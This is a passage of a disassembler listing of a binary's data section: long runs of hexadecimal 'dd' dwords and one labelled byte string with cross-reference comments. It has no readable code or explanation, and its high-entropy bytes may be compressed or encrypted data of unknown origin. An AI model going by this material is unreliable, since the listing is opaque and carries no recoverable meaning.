0C42A6A47h, 0ACFC407Dh, 2F9680CDh dd 6D0EA5F2h, 8F593B61h, 0BA8A20D8h, 236C3h, 3A9949ACh dd 8B8643C8h, 272DCB00h, 0A2B93F50h, 4D91008Ch, 0D85BF2AAh dd 6F074237h, 7F128B68h, 3A6180EEh, 7B6F38Dh, 625009BFh dd 0F99D034h, 85B0EE70h, 0F312DD0Ch, 78B6E8D9h, 8BCD0497h dd 0C0BF11FBh, 6B31810h, 6D9DDA01h, 0EC6A3A2Eh, 9981E4h dd 0BE843144h, 9ADF0104h, 0B6944000h, 0E10A776Ah, 0F799001Bh dd 0C108DB1h, 0D200DC65h, 0E6C25BAEh, 0E51CB9h, 7F6CF7A0h dd 5F168741h, 327C4976h, 3E03E85Ch, 1CA8BA78h, 1400FA64h dd 0A48107BAh, 9BEA0012h, 98E13538h, 5E001FA6h, 0E5EC86C3h dd 0E80533h, 79766916h, 7531C120h, 9A947100h, 0D3DCF9A5h dd 77E29Ch, 0A3AC3B57h, 32569067h, 859D1A1Ch, 3A4A7B80h dd 0BFD10Bh, 1B3422FBh, 0B214966Fh, 0BDC8F560h, 1609EF79h dd 1B9778D4h, 0D5B00E02h, 0BC0F54CCh, 828CF1D7h, 8E84729Ch dd 8001B6D8h, 21C1B2Ch, 190E9E4h, 0FFDE129Ah, 0C498105Ch dd 34079CC9h, 0C4CCE670h, 8FEF6F40h, 159E00D7h, 0A3B4582Bh dd 0E10018C2h, 0F6327E97h, 663DCAh, 0B76EEFC3h, 0C40D8D8Bh dd 0F304BD00h, 0E07674A5h, 7BA61F49h, 0BFC84054h, 237C7E26h dd 0BA0394E4h, 134A03D4h, 0C21900C7h, 0A81FEF6Bh, 2D00E440h dd 8BC8B8CDh, 3F1389h, 0CE12295h, 96CFCBB7h, 8157DE38h dd 0C6A517F9h, 0D1F08AB1h, 16250F33h, 4D2064EEh, 9B38967Ah dd 0C5C30B00h, 0E6789286h, 0A81A0055h, 2F516BA4h, 0CB00992Bh dd 3BCFF74Dh, 14FA28Dh, 0A928D8BAh, 807CE64Eh, 0BC6B1288h dd 77E94073h, 8A0700FEh, 8D960B5Fh, 4700A09Ch, 0EFA64303h dd 792C19h, 0AE064D95h, 0A035709Eh, 4BB8710Fh, 0C4BF4166h dd 0CDF44950h, 209B1DE9h, 860440CBh, 0FD290953h, 0B6097C90h dd 8C394D3Eh, 698822h, 0F2C4D3D8h, 0CE715642h, 35766701h dd 2EA39122h, 0D0FA60h, 79AE8402h, 80783DD9h, 5900E976h dd 522EB383h, 786ACA8Dh, 4BFB006Dh, 0F82AECB5h, 0F5B8B914h dd 0F7E7E901h, 4334CDA1h, 1370AFEFh, 66E64Ah, 0D6BEBC09h dd 0B04FFAF1h, 0AA0024FCh, 0A5EDDC97h, 0F618DAF6h, 0D02D00ABh dd 0EE059B35h, 0B07EAE1h, 33DE5831h, 0CF4620FFh, 90DD37h dd 2148E480h, 9E7BD9F2h, 0D2047307h, 1AA07D3Bh, 0E3EAEB1h dd 0B5B77CBh, 292FFA40h, 3F006EABh, 42C05AB8h, 1E2904Ch dd 8C59149Dh, 0F8154D3Dh, 0F4EC581Dh, 0FA67A517h, 0C5AA0900h dd 0CBD45Fh, 7735B90Fh, 0E249A064h, 0A3B6E900h, 0AF68312Fh dd 0AE150095h, 8C50821Fh, 9807610Eh, 2CA7F10Bh, 8E4916E0h dd 884300FCh, 2A997365h, 7009B3Ch, 0DDE7FBCFh, 3E49C260h dd 0A700E041h, 8BBB6E68h, 0B100B42Bh, 6B4ACF13h, 797A07h dd 0C06A3026h, 98D45B28h, 8D10DC01h, 0FF1D7D06h, 9CA1C0h dd 4C51A02h, 0E1847075h, 17928200h, 86742B8Dh, 944E003Ah dd 0D065DD26h, 7A141FC8h, 0B8812Dh, 9B87B089h, 0AF676Dh dd 69D59117h, 0A93FFCCAh, 0F9433800h, 7A31DC45h, 2B60072h dd 0A80F68A2h, 9400E5B5h, 7E928953h, 81612CAh, 0EE045558h dd 708A880Eh, 0F326B282h, 35CD9380h, 0D0000CBAh, 3216E245h dd 9E5ED9h, 0B7877D6Eh, 967988C9h, 18558339h, 0F6A87ADEh dd 7BB90085h, 0AF518E48h, 2A079123h, 0D41B160h, 39B737D1h dd 8C72FCh, 5CE43276h, 55124544h, 4C98C63Ah, 9D83036Dh dd 88BEA1AAh, 7CCD6B9Ch, 0B087EFD8h, 0D0C4880Ah, 3A13E057h dd 0C101D578h, 0A22E1B38h, 0F520C6A6h, 1F607D8h, 0D0DF0B17h dd 7D525EEDh, 1CBB8D00h, 76C6CD23h, 610C00EFh, 0AE42A891h db 0B4h aGo db '¾êÊ&ƒoÏ',0 ; DATA XREF: ___:00438120o ; ___:00438138o db 68h, 0B1h, 0D6h dd 765C7C1h, 313E49B0h, 213AF011h, 9AFC15AAh, 38983D1Dh dd 0E9744D40h, 724178Eh, 4E05BEADh, 2C7AD0C5h, 9B0093BBh dd 6EA2FE4Ah, 0B3DBD0h, 64091FE0h, 0FFCF52EAh, 74205F0Eh dd 8276C7ACh, 3FE39270h, 0B8510A42h, 1E9FD139h, 1D26C0F0h dd 3DC193B2h, 1B37EF01h, 0E4AF843Bh, 3D4D9CCh, 35D6B58Dh dd 8A01225h, 0F500534Ah, 0BF02D27Fh, 60690306h, 1EEC90BAh dd 0EA00CE6Fh, 41AC4475h, 3B6C603Bh, 42802934h, 0A9B90628h dd 5600851Ch, 0BEBB6B0Bh, 1A56858h, 0AC641E31h, 0F065EAEFh dd 0BC00E02Ch, 42B55DA0h, 36322Dh, 7C9619C2h, 0A27B2422h dd 0D1A7E20Eh, 28005737h, 19095E46h, 0A0566045h, 1BB374B4h dd 0BCD4E200h, 0E1217A02h, 3DE407DCh, 40C2795Dh, 76F3AF41h dd 55FC3990h, 9F398EFEh, 759480BDh, 777EEA40h, 0B14F01D5h dd 0C5B67C27h, 0A002CF20h, 0E1C81C26h, 80DD6288h, 0DEF80C48h dd 0AD21007Bh, 0EBF401B3h, 790343BCh, 547140ABh, 8703E0F5h dd 0AA531652h, 43E40E09h, 20F661C7h, 0FC4158C0h, 8F019B1Fh dd 0A9B335C0h, 0E1D675h, 52385722h, 0F3DB7B83h, 640F6377h dd 0C0F14866h, 29678D1Ah, 8EB30247h, 8968E452h, 0E85BE880h dd 0F4E1CD5Eh, 2C035957h, 61152BCEh, 0A2A4B88Eh, 9E6400DEh dd 0F2568F27h, 0CB9868A3h, 3FFB0A00h, 0AB8790E1h, 46033CD1h dd 0C032209Eh, 2DD7E06Eh, 2C00EDB3h, 7FBC68F5h, 0D5A470h dd 6D2838C8h, 0DEAE544Dh, 0F9E57803h, 997E88C2h, 99DC0A71h dd 2369008Bh, 7CD952F4h, 0BC038F15h, 0AF114281h, 9B60C86Bh dd 913005DBh, 8021077Ah, 10E9DA7Ah, 4227E4FFh, 1D66800h dd 43827448h, 4B3D5851h, 0F9113Bh, 7C8616Fh, 3E134B36h dd 0B52CA401h, 4862A95Ch, 7E2C60h, 4EC56785h, 2D44D580h dd 41F99E00h, 20564932h, 642B008Ch, 0FD4659D6h, 7D502794h dd 7F0089E0h, 61FEC165h, 3977B81h, 9DB0EAEh, 0CAE871A9h dd 9B00402Fh, 0A40A9A17h, 8FF6C6h, 67229B2h, 4C4F6F8Dh dd 7523E901h, 11E7AEB0h, 3F5E4C20h, 7D9DC4AFh, 0B7DBCC10h dd 0C9753219h, 0FC6E7603h, 0C8023EA2h, 3B2257Ch, 0C54283BFh dd 0C0A0A13Bh, 8C90054Ch, 4A6A0E12h, 0BE9B8000h, 7FC86DAAh dd 79A10084h, 128CD121h, 7624D83Bh, 0DE0010C0h, 1F9BA88Eh dd 0B0A36087h, 0F0D22633h, 441721C0h, 5E7CA8h, 30DF98E5h dd 5DF31303h, 0F929E200h, 0C149A4FAh, 0BD4FD9Ah, 0A2FB3B16h dd 79DCFD80h, 93C75DE8h, 7384BD2Ch, 6D56DE03h, 8A59F0B7h dd 0C4E80097h, 0A11A117h, 0AC0063E7h, 0F44D5F50h, 5B8C197Fh dd 0AA4CA03Fh, 0E03A5600h, 7B543E53h, 0E42C3FC0h, 73DF7F85h dd 38A000B8h, 0B55C85C7h, 0D6314E01h, 909B0D34h, 4D439A80h dd 81BD6D17h, 0E5A94000h, 0C58702CDh, 0A6B13014h, 35EB95F8h dd 60C8577h, 198A1A88h, 1E6FEA78h, 824616A3h, 500BE4FEh dd 90486962h, 0DE482A6Ah, 845D2680h, 0B9648038h, 9D670F8Ah dd 5CFF002Fh, 0D5600245h, 0B53B5A0Dh, 0B769FE3h, 0AFE0C9h dd 0A64B7C20h, 0FA351CABh, 84E18071h, 0B3924CBBh, 0F2F4D150h dd 0ADEB4B01h, 6631C7FCh, 0FFC03435h, 954601F9h, 971F4085h dd 0C9DFC07Ch, 0E7EA5A0Ch, 0E15498FBh, 60A946F0h, 0B14A71FAh dd 42017ED7h, 0F76C7D0Dh, 64348F03h, 2D9F2616h, 0C74BD7Ch dd 0DFD376B8h, 0EA3CB270h, 0A0FB8097h, 0B6608074h, 0EB61016Dh dd 0A9AEC020h, 9E7830BFh, 920F65F0h, 42211589h, 68972584h dd 0B50E0CCh, 7B52D1ECh, 6DDB1C10h, 4500F77Ch, 40895648h dd 0F46A4C17h, 0D17788h, 0D275DE5Ch, 0E4C616E1h, 3BD44948h dd 90B50A0Eh, 7600D470h, 0D697588Ch, 202302A4h, 0BCBB62B1h dd 9E577083h, 407370EFh, 9974BEE1h, 8E0F95E0h, 608645F8h dd 5B7E8921h, 0BAFF00C2h, 6898B8F3h, 0C800372Fh, 0DB343FFDh dd 7F9BBDh, 0D682C3C7h, 8E521C0Ah, 4130D107h, 0C9E025DAh dd 197E11Bh, 9FFCB323h, 40D1F79Bh, 7B0594C4h, 9D57A900h dd 4EDB3BD3h, 0AC561328h, 0E19441F2h, 0F46269BBh, 837193BEh dd 0F3EE880h, 8111B10Dh, 104EA480h, 5F1354B8h, 900184A0h dd 0EC49763Dh, 2851800h, 0EABE4809h, 174800BDh, 922BBAB7h dd 0F2F1FF0h, 12064098h, 319F0C63h, 147CC824h, 0BA248B00h dd 0B05CD074h, 0B3FE1C3Ah, 0F5E983F9h, 2A98FC96h, 8700B835h dd 8D73595Eh, 0DE9A20h, 5D7881B4h, 297DD8Fh, 4D41BB03h dd 0D86C86E5h, 4C71CEh, 991E56E4h, 510E2DCh, 0EDD2405h dd 8C8101BDh, 0D9D0D77Fh, 275E0007h, 3DE7D415h, 0E101D0D3h dd 0E0F4B6A0h, 1424D849h, 90B7h, 4FBCFA45h, 9C88E971h dd 18A9ED30h, 0B0E28FEAh, 65F3002Fh, 0E77B50BCh, 32003671h dd 58071F2Bh, 98530B9Eh, 178D07B1h, 90F12787h, 0BEF3F069h dd 97C63400h, 9A492B3Fh, 70E600EBh, 4EBB4FE3h, 41009656h dd 69E46C13h, 333BD88h, 39A0EA3Ch, 55A2C3C0h, 7DB99460h dd 9FE31E00h, 77AFAA8Ah, 0EC48F6E4h, 0C8CE00D6h, 3FF812EDh dd 0E738535Dh, 0B51E60C4h, 34D9DABh, 0BC5FB110h, 37E026BFh dd 2903791Fh, 0D6E7A12h, 0B6863FA4h, 5C08ECF4h, 6500AC72h dd 0E4931C9Ah, 0E50785E0h, 0A559F501h, 0B1DE3E0h, 53510E20h dd 0EE27772Dh, 1CA7E08Dh, 0E10E43BEh, 206B3999h, 1EB321AEh dd 481BF2A1h, 0A0005CD0h, 44DEE7B9h, 5800F950h, 0EA4742CAh dd 7943695h, 26656D62h, 0C0C7049Dh, 45373FEBh, 1FD12724h dd 0C5FEF500h, 2A879DBh, 24280F94h, 5C4086ADh, 2D03A0B1h dd 2E9D32E9h, 0A8C2C82Fh, 4981F8B5h, 0C1005885h, 61B43828h dd 3A091894h, 0A0D9AE27h, 88526364h, 350B1DE6h, 24534319h dd 0A6D01695h, 970156F6h, 2F3926E4h, 0CBF1ABECh, 0F2057D8h dd 98E828E3h, 661F12E3h, 82B6180Ch, 3BCF0F4h, 815DD344h dd 70DF8897h, 326E3DE1h, 193B3E03h, 909DCBh, 676CCEE9h dd 7D112CBBh, 96BE401h, 34FECC60h, 79C2A470h, 7FA00B8h dd 888A7A52h, 30C0952Ch, 98B4101Ah, 38B30FC5h, 419DE43Bh dd 3F192A74h, 1828AAh, 0F46BA34Ah, 0A0E225F3h, 8B0294h dd 0E0A84E04h, 2224C112h, 0B7D4650Fh, 205E020h, 607981D5h dd 2F38B8E4h, 0B42C4E16h, 7A0024DBh, 0F3BD895Dh, 4DBA002Ch dd 26AC14AFh, 581D6886h, 80FED794h, 20784524h, 1FC01113h dd 0B99ECA64h, 13939054h, 23855BF5h, 91809610h, 959E469h dd 6788021Ch, 20AABD5Eh, 0FA07C46Fh, 8802DA4Ah, 707D91h dd 3C2DD142h, 58E0D901h, 8F2C30C2h, 0D6405E81h, 20DD5981h dd 88095510h, 60091FAAh, 0A6ED54h, 4F1004BEh, 2DD902F0h dd 5FD19A00h, 7E231DEAh, 1ABE468h, 0BD355D85h, 31AAB160h dd 9E6BC41Dh, 74F81C04h, 2480AC9Ch, 0F2B33C40h, 0E40F3091h dd 8C427D60h, 3500DE73h, 0F9B105B2h, 7CCA0A20h, 0DB641CE7h dd 0C0989F08h, 85A9A231h, 2B00D56Bh, 4CF4CBFBh, 54D8D1h dd 1BC4A73Eh, 0E4688B96h, 70A41D00h, 8A2BE98Ch, 3C10FECh dd 4DC7FE90h, 4898C059h, 0BD00D006h, 2635B2Eh, 7523E86h dd 75544FDEh, 7C6E90CAh, 0EC0FE84Ch, 0A07BCCB2h, 77E2D872h dd 25780371h, 95171187h, 107036C0h, 6AA53701h, 0F204DE4Ch dd 61C8E040h, 0D8A6C6AEh, 57B024C6h, 11DD820Eh, 5636409Ch dd 7B8B5EFh, 0F8FF03BFh, 0A908E0EEh, 0FD3B508Bh, 0D7D39FD6h dd 0C7776C40h, 9053452Ch, 6BF913E8h, 93F00015h, 72553F80h dd 0B4744C00h, 0DAFD9030h dd 2D14388Fh, 0A5F80B80h, 0A320D2B5h, 0A261510Fh, 5CF0E0C3h dd 50E2F932h, 924C4C2h, 627E089Bh, 45E14080h, 26092776h dd 3B479FCh, 0A0B34DA4h, 8D12B2h, 58407AB7h, 31C5D4F7h dd 5D07427Ch, 0A84C11D5h, 0A56AE30h, 58E91368h, 5E00EAF9h dd 8537313Fh, 35FE022Fh, 4904EA65h, 26139CE8h, 0C7E488B0h dd 374B8B00h, 332B0D14h, 0B3BE1D85h, 9D18E47Dh, 0CFD7C118h dd 0DC09D9D2h, 0F2EB6ADh, 490F6859h, 5E82C001h, 0F8A12839h dd 0B9620050h, 43A7CE0Bh, 0D80022A2h, 0BFD52E77h, 32F3538h dd 0E13DB4DAh, 0CCE06D08h, 4B00DC91h, 78645D3Ah, 4C3912h dd 43240AECh, 0CE9FA776h, 5E655F1Ch, 70B62E00h, 3C9E45h dd 6FD84A52h, 0F372F233h, 113A367Fh, 0F9600087h, 0A74A0A85h dd 0E403008Bh, 7EBB27F5h, 0BD00D851h, 1A461C04h, 0F6EF94h dd 54B233C8h, 0BC082A4h, 51091401h, 125E38B7h, 0FCFEAD8h dd 0F55C93ACh, 4572ED20h, 1B733CA1h, 4C436909h, 0E735CAEh dd 1C44F7h, 813FF95Ch, 0B0009E0Dh, 0EA34A4A5h, 79B6177Dh dd 0C7FA4Ah, 99BA5243h, 0C31C0ED4h, 1B00C0F4h, 0FAF75FA7h dd 61690h, 0D0D425D1h, 0B8542E94h, 4555E500h, 1390AA3Ch dd 44C403E1h, 0C25C9E0Ah, 0AF16BC90h, 0F821101Dh, 521D2840h dd 0C3BE3Bh, 0CC950815h, 0FF7ED104h, 0F2F70B02h, 833292A1h dd 0A8C296CBh, 0DD55D9h, 631E97ACh, 0D035FD6Ah, 0D8ADEC00h dd 0F7EACCE9h, 0F13F00CDh, 2A8E9B7Ch, 0B800A870h, 866A92DCh dd 9009D8C7h, 7C4100DEh, 1077DA73h, 0F300460Dh, 7901DD48h dd 52EA21h, 0F660579Ch, 9B766215h, 0F80CAC00h, 1B95747Bh dd 6A90003Ch, 6DA9B742h, 9B175EB5h, 770F1743h, 0F0838788h dd 34F45440h, 0D060076h, 17EC6AC4h, 2000DE3Eh, 9B56C97Fh dd 71E8B72Dh, 9D7700D7h, 55C74DF7h, 0B6016CEEh, 0B5E03C95h dd 0F0C0A837h, 192D1E5Bh, 0FDC8C0A7h, 7B2CB47Eh, 0D3100300h dd 219D089Ah, 9E90014h, 0F6E08D48h, 3F007D3Eh, 0E3514D5Fh dd 4CFB199Dh, 8B16941Dh, 722500C8h, 9A582E48h, 510CFD00h dd 0A78D7D97h, 0B87C00B0h, 46EDE03Fh, 8100C68Fh, 0AF74796Fh dd 7B60241h, 5E40A211h, 0C09C4F24h, 852A3AF3h, 0CE3D0574h dd 6AC80037h, 0CD47A07h, 4938001Eh, 890E13A9h, 0DA00E575h dd 6B8C1FA2h, 26EBEDEh, 96FF0576h, 27C0498Dh, 5100D009h dd 38CC7CE9h, 769AE2BCh, 881C006Dh, 96A376E0h, 75602734h dd 2C83D670h, 0E990092h, 0D840501Eh, 0C40096DCh, 0CBE49D7Dh dd 0FA4E1030h, 617DA1h, 0CF48EF65h, 0DEBD38F7h, 4C4DD48h dd 27499C0Ch, 3B507C87h, 0B039CED3h, 0CFAB000Ch, 60580755h dd 40F2B724h, 7952E800h, 0F1C764CBh, 8B910E66h, 0DEE001D8h dd 54199068h, 7DE4830Eh, 5994A0B9h, 3918951Eh, 841F3B0Eh dd 117E81C5h, 40539EFFh, 3B070A10h, 0BBF099E8h, 7D74EA07h dd 81404AD1h, 0F99841FCh, 70F0D2E1h, 0E19836h, 0CB7622B2h dd 0DF2C075h, 1E5548h, 9FD17E3Bh, 0C4D773DCh, 0C17BE430h dd 80579002h, 8FEDB961h, 0F1E6BE61h, 0FF55D320h, 0B111118Fh dd 9A81A6Ch, 0D933100Ch, 181E8178h, 0B0645318h, 4376E099h dd 23EADC07h, 9A81E561h, 10405515h, 417AE4h, 8C5CCC0Bh dd 0A0D19331h, 0C7323C00h, 396023E1h, 57550042h, 0D7D07F7Eh dd 3600C607h, 104BDE61h, 7673877h, 0DAE41AA9h, 0D00530D4h dd 10071BFh, 8FEA971Eh, 0FACC429Eh, 0C7FE7h, 0BFEF3C69h dd 0D5FFC614h, 43CF6A1Ch, 2322DF00h, 441B46h, 0A141F9Bh dd 4B587917h, 5B242B1Dh, 39B11840h, 3D57C0FAh, 0CC001641h dd 0AE3F10ABh, 0A000B7A4h, 0DCDB6DF0h, 90770F6h, 499A9398h dd 0EC08817Dh, 0AF8F85Bh, 8CC00FEAh, 3C0F4243h, 0E028840h dd 0AD0E93B0h, 20F68B22h, 0B8460773h, 5F3900CDh, 692DACFEh dd 910319B1h, 38616E20h, 355AF834h, 1FFC01B5h, 956C5008h dd 0AE402A8Dh, 825C1CDFh, 591E0167h, 20C75BE5h, 0AFC3C8ABh dd 58432D00h, 96D58B0Eh, 725A005Ch, 0DA282659h, 0BC037BEEh dd 0C1B8532Fh, 2EB1A01Ch, 6DF0A083h, 57090242h, 0CD7B3193h dd 5C80D880h, 5F0091A7h, 520D85B6h, 67FA6E83h, 581F29D2h dd 90A41C88h, 54C882E9h, 84500E56h, 2D489E69h, 22508E42h dd 0D524D3B7h, 0B042B827h, 46B254Fh, 489FFC28h, 51D64295h dd 14044F25h, 0F944AAA3h, 5D14440Bh, 4079034Ch, 0F8629600h dd 666ADFFCh, 94F10018h, 0C34509CBh, 0CD007A44h, 2CD9B8A2h dd 320BE8Eh, 0FD2F6324h, 7288E0D0h, 5600B03Dh, 2544F4B8h dd 71982395h, 4FE038Ah, 7FDDCAA7h, 4BE46CB0h, 31C0EF00h dd 0A6D341BBh, 0BCC8035Ah, 0A422CC26h, 0B5D655D8h, 0AFEBE700h dd 83A5119Eh, 2E0D01D0h, 0B877ACF8h, 8B3ECC76h, 0D5660700h dd 1FE5DBF9h, 82C50047h, 8152FA9Ch, 3600BC16h, 5F6CA8CAh dd 0AC0D93h, 6F3B9FF8h, 99712552h, 739AC90Ah, 4C00CF88h dd 0CD89A7EBh, 0E35402F0h, 15DA7D41h, 1E423C0h, 80A4643Fh dd 0B11923C0h, 9AD58532h, 48740010h, 33DA18E5h, 4500802Dh dd 144BA2C5h, 161C6ECh, 3D5CC99Ah, 80CDF4C1h, 9752E911h dd 2486CAh, 5101BAA5h, 950A2A2Fh, 32B0F403h, 99639Ah, 0B97F260h dd 6160DA31h, 4E5B660Fh, 1505A703h, 58DDF3h, 0CB2FBD46h dd 3E765649h, 0A7C6BB00h, 0FFF2DFACh, 283F0031h, 0E6693D9Fh dd 6A0010B6h, 8DBB4B1Fh, 0B12987h, 0FC71AA46h, 981E4D56h dd 6637606h, 105C61h, 3C4CD59Fh, 0D5F0510h, 49343B01h dd 53864880h, 0F3C5CCh, 0BB65821Eh, 0B8EF7468h, 1903A0ECh dd 4C8A8025h, 5B3EF801h, 0D54707ACh, 0E071EC88h, 0B3225D42h dd 3A2CD000h, 7552B98Dh, 0F1E200E1h, 51F8466Ah, 9C007961h dd 1824E9CDh, 56BC88h, 8930BA87h, 0B67DE3EEh, 4F625A0Dh dd 1C202E23h, 7B2E07C1h, 500352D4h, 9E5907D2h, 6D97AE00h dd 0D6F54CC6h, 0BB7D0089h, 0D01B120Eh, 0FD0E2472h, 0C0E71031h dd 8A977713h, 41B50B92h, 0A68002B3h, 5CAB3130h, 0E27D9A00h dd 0D6EE0739h, 1420016h, 59389B7Fh, 0D9006BEAh, 6CDCFA1Ch dd 0C2D046Ah, 36F32963h, 32F61FD0h, 100E4D00h, 2D6F019h dd 54B60064h, 0AED7CF68h, 0E2005706h, 0C8CECA1Ch, 3CADC5h dd 1D3FBAA7h, 29CC0D1h, 8C1B0C2Eh, 5F9D1900h, 3E8A8620h dd 2F8042BCh, 0B483CFA9h, 3300371Eh, 6C3C6E92h, 2C1D9Eh dd 0FC4A75C5h, 1E5E9319h, 0A0076B00h, 564B282Eh, 0C12300F8h dd 3E5409CFh, 6A1D687Ah, 287E02Dh, 9EB0BD9Bh, 0BE2ECBh dd 7EAA1B1Dh, 4BC945E1h, 96518A00h, 0A0E744F3h, 0E68300EAh dd 0F5CAE00Fh, 7B00FB3Ah, 26332EDh, 1D71BBBh, 0BCB752B8h dd 406BF5FCh, 0D26D4D8Ch, 9963Eh, 0C82503D0h, 0B1671B2h dd 8FDA351Dh, 0E657A880h, 5D017E83h, 0CE54FBADh, 0A228A78Ah dd 0F39E1900h, 0C3A2CA45h, 0F47A212Ah, 0C7795511h, 457EE26h dd 0EB9E9B76h, 0A83854C3h, 3296CE2h, 70E4C247h, 0C802F2D4h dd 0C5B4B9C3h, 43B480E5h, 0BC6A6Eh, 45EEB7D5h, 0AFE88652h dd 69007EECh, 0B427470Eh, 0E3FB3FEh, 11F451E0h, 803B5044h dd 0E1C6F383h, 0CC1BD700h, 0F2339AE9h, 748D00DBh, 897C791h dd 6EF00922h, 0E1008BF4h, 0C2378973h, 865C18h, 0B32C3FD3h dd 5EE53994h, 1FFC92E6h, 0C1E30F00h, 7E7696B9h, 0A67A00A7h dd 0B8213583h, 0C83AE034h, 0B9D5801Bh, 0D68D66CAh, 0F8E9024Ah dd 98736204h dd 0B4C06C63h, 0DF00B372h, 8069B024h, 607C8F84h, 0A09718E8h dd 4300F8C8h, 21E67994h, 1FCFFCC4h, 1F77798h, 57185C69h dd 0A494C8EFh, 500D2E8h, 24DDA04Eh, 3FFB3B3Ah, 4814CE5Fh dd 8901F44Ch, 0A5844F99h, 1B872F41h, 126DAEE0h, 0DF610129h dd 438E90BBh, 498BFC4Ah, 50280900h, 0DDE336FAh, 30CB176Ah dd 619017Ah, 4C5B00Ah, 9221F400h, 0F40EB3h, 0E48AE668h dd 5DA7643h, 22F94D00h, 0B320F5ADh, 26FA077Bh, 30F6A533h dd 71ED4EABh, 2A0F4F00h, 0E47BA49h, 0D77000C5h, 59219709h dd 0B000FD7Bh, 0D067400Fh, 0E24CF12h, 92E79EC1h, 8C520400h dd 0B4000EA5h, 0F76183DDh, 74FFCE19h, 42DA0F28h, 1B61802Ah dd 20FED917h, 430084F4h, 0A428DB15h, 294635h, 0ECD0D58Ah dd 0B092A5B2h, 44E67726h, 663D42h, 0C245BC08h, 0A8FA0700h dd 0BED2BDD3h, 3037FE3h, 0BADCCE64h, 0F0E065B7h, 0EA03A78Fh dd 6C5EE472h, 2F183FBCh, 0B30D6380h, 447B3AD8h, 4C98087Ch dd 34812000h, 3539F34Dh, 0F46F482Ah, 400A4713h, 25B3D44Ch dd 29013644h, 77F3A611h, 0F340D54Fh, 0F8990Bh, 0BF7C65ABh dd 5B23A478h, 4C456700h, 0F1A7404Eh, 8C750731h, 741BE6DCh dd 300FE7Eh, 86219DECh, 6A1E00CCh, 8FD80107h, 3D3FDEA8h dd 0D4B38063h, 4DE5265Dh, 0DB1800B0h, 2FE658D9h, 2D00DA91h dd 44A4956Dh, 196F37Eh, 9C69B178h, 0E345DCE4h, 0F3BB0C8h dd 0AB515014h, 0A71F00A0h, 0C5D61295h, 0D4610444h, 856D347Eh dd 922F804Ch, 753FCAD8h, 88E4809Bh, 0DBD6B1C4h, 461913F5h dd 0A6500769h, 0ED9CC1C6h, 0C9BC70BBh, 0C0106A00h, 33DED93Fh dd 748A0284h, 50BA6205h, 37954C40h, 0E3D37E13h, 6D80EC5Dh dd 3A2A0EBh, 41AB0030h, 2B05404Ah, 9BB0F461h, 0C9099400h dd 8AE02C6Eh, 0D6B20021h, 805D2B73h, 6F01E5A1h, 1E50908Bh dd 41C446B7h, 0D1743F02h, 7B426D00h, 0FBE238A4h, 0A5EFE805h dd 90803035h, 0FC0B744h, 7AD88F32h, 0EEAA65E0h, 35EC954Ch dd 7984220Eh, 3B172015h, 0C685E4h, 1040609Ch, 26C7CA0Eh dd 809858h, 0A8C264B3h, 7CD94Ch, 2DE03546h, 91805286h dd 98D14Dh, 0BF166A47h, 2472F1CAh, 2456EFh, 4B6697E9h dd 4000C8F5h, 0FF19862Ch, 0BB015h, 0EC7A01B5h, 0BBDA6C70h dd 0AFA8E290h, 7D0C0C6Eh, 0D0F2F774h, 31A60ECDh, 82E74DB7h dd 0A7604E97h, 0F3993849h, 243F2D00h, 2701CCC2h, 5D9F000Bh dd 0C746CA17h, 0E22DDBE6h, 8358EDh, 0D10BA267h, 5F7C1A09h dd 0DAD45Ch, 0FE2845B6h, 0EEDFD947h, 0E1763F83h, 42207000h dd 0F5D53487h, 0AB181C00h, 0F3430C57h, 75800519h, 453DDD0h dd 815F88FDh, 0AC18B0h, 3F1DFFh, 8C536AF9h, 21CAE5C4h dd 0ED4C9600h, 68BD6972h, 45B900FFh, 7EE6C090h, 79001520h dd 3FE11C0Ch, 73B5A8Dh, 130925C2h, 0BBD91089h, 55FC27F2h dd 6CF83300h, 503FFE2h, 78A22EFCh, 0E1880050h, 2042131Ch dd 0DAB50101h, 0E4D73733h, 4D28E0CEh, 0F5E12ECDh, 0F9AC0108h dd 20FD7A88h, 5117EF0Ch, 0FD03EEB2h, 0C8930238h, 0B9C96EDh dd 0B1884D8Dh, 0B6E9B087h, 58004135h, 9868731Dh, 802BB8h dd 0F6F25E97h, 9CDCA1A5h, 0BE00249Ah, 5FC36799h, 0FC447A3h dd 0E013CB17h, 0BDE92158h, 0EE0A7913h, 9E173040h, 1228E1D9h dd 275385h, 8F92064h, 0DC00886Ch, 0C6905F5Dh, 92A178Fh dd 795ED9E3h, 0EAB8800h, 8403D706h, 0E06AD489h, 0ED8EA0BEh dd 0D64000CCh, 4D072752h, 994F34h, 4C4E43F4h, 266C804Ch dd 14DD1DF7h, 0C4A84F05h, 7883200h, 6A0CB464h, 21137C07h dd 78E2B8D9h, 3210C1A6h, 0AA842033h, 7323002Fh, 2C2DA64Eh dd 3AD66175h, 7F63B01h, 4709D4D0h, 7EE0DEF7h, 0D110DBB0h dd 0EC7961E2h, 0AD98B800h, 9F96F4BBh, 6B8C0719h, 0A02A687Dh dd 611CF1B0h, 0FE000C7Ah, 0EFBA065Bh, 0D0C7D4h, 0BB22A8DEh dd 0EA70F288h, 74B28B24h, 0AB586B00h, 0D0E872h, 0F54A40F7h dd 69B9958Eh, 37A2DE00h, 82856B94h, 753D2414h, 97458770h dd 18DB8058h, 9F00E7B6h, 15E625B1h, 90989D7Eh, 16B0B74h dd 0D082E595h, 770AE0h, 0A98BC6B8h, 0FF1A3959h, 5F07DB00h dd 0D6F32DB4h, 37CF3Bh, 746613F5h, 95E0B5Dh, 3518FCE7h dd 0EF408C0Fh, 3C388F26h, 0E0891600h, 0B8D8637Ch, 34084C7Eh dd 0BEA64607h, 81F747A1h, 71A92839h, 5F702083h, 0C6817205h dd 0CC409DD3h, 66890378h, 7F11C3ADh, 93C8C569h, 77042749h dd 6D96BAC9h, 2D3A6C80h, 1FFB00E5h, 0A67C85A0h, 440E09F1h dd 8F35EA43h, 0A2B28h, 7C77C788h, 863A0291h, 68789D2Fh dd 578E7040h, 802D7513h, 1D06F800h, 80E8E1B1h, 0BA094288h dd 40CA4F1Ch, 0D38290h, 0A4F86218h, 7A1DF3C8h, 0D615C00h dd 0DC23FE5Dh, 0E4AE008Dh, 14584857h, 0B0B66C3h, 0A4632941h dd 0F8C09D5Ch, 88189E84h, 67007E6Ch, 0CE56F9B3h, 0E21EAC6h dd 57BDCB0Dh, 24303780h, 52006C23h, 0B0178110h, 0BAF1Ch dd 7634C8D6h, 0AB257149h, 2B1F8C96h, 1DB4E7D4h, 0D918B135h dd 49E26051h, 8917945Bh, 71440595h, 8F2890E9h, 2413368Ah dd 0FC404EADh, 0DEB91DDFh, 0D94F00A6h, 